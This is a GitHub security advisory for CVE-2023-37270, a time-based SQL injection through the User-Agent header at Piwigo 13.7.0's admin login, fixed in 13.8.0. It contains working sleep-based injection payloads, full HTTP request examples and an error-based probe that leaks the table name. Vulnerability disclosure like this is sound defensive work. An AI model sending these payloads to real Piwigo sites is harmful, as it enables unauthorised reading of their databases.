8000 SQL Injection in "User-Agent" · Advisory · Piwigo/Piwigo · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

SQL Injection in "User-Agent"

High
plegall published GHSA-934w-qj9p-3qcx Jul 7, 2023

Package

composer Piwigo / Piwigo (Composer)

Affected versions

13.7.0

Patched versions

13.8.0

Description

Summary

There is SQL Injection in the login of the administrator screen.

Details

The SQL statement that acquires the HTTP Header "User-Agent" is vulnerable at the endpoint that records user information when logging in to the administrator screen.
It is possible to execute arbitrary SQL statements.

PoC

  1. Access the admin login page.
  2. Log in with the correct information as a user who can log in to the administrator screen.
  3. Insert the SQL Payload into the HTTP header "User-Agent" of the login request and send the request.
  4. Any inserted SQL statement can be executed.

Target

  • Endpoint: /identification.php
  • Parameter (header): User-Agent

Required Permissions

Users who can log in to the administrator screen. (even with low privileges)

PoC Test

  • Payload: 1))%20or%20sleep(5)--
    • Res Time: 619 millis
  • Patload: 1))%20or%20sleep(10)--
    • Res Time: 1,883 millis
  • Payload: 1))%20or%20sleep(20)--
    • Res Time: 3,172 millis

Request Example

Admin screen login request

POST /<Path>/identification.php HTTP/1.1
 ...
User-Agent: 1))%20or%20sleep(20)--
 ...

username=admin&password=pass&redirect=%252F<Path>%252Fadmin.php&login=%E9%80%81%E4%BF%A1
Other

You can also see that the table name (piwi_activity) is output from the error statement by inserting a string that breaks the SQL statement.

POST /<Path>/identification.php HTTP/1.1
 ...
User-Agent: '">{{7*7}}${2*2}
 ...

username=admin&password=pass&redirect=%252F<Path>%252Fadmin.php&login=%E9%80%81%E4%BF%A1
HTTP/1.1 200 OK
...
Warning: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '">{{7*7}}${2*2}')' at line 3

INSERT  INTO `piwi_activity`
  (`object`,`object_id`,`action`,`performed_by`,`session_idx`,`ip_address`,`details`,`user_agent`)
  VALUES('user','1','login','1','4ad3723e62d223928188721376fc01b3','<Private IP address>','a:1:{s:6:\"script\";s:14:\"identification\";}',''">{{7*7}}${2*2}') in /home/soft/public_html/<Path>/include/dblayer/functions_mysqli.inc.php on line 847
...

Screen showing execution results

  • /admin.php?page=user_activity

Impact

Any SQL statement can be executed.
Doing so may leak information in the database.

Cause

where the user can insert

'user_agent' => $user_agent,

Where the data inserted by the user is executed as-is by SQL

function mass_inserts($table_name, $dbfields, $datas, $options=array())

Measures

If you want to execute a SQL statement verbatim with user-enterable parameters, be sure to escape the parameter contents appropriately.

Reference

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

CVE ID

CVE-2023-37270

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Learn more on MITRE.

Credits

0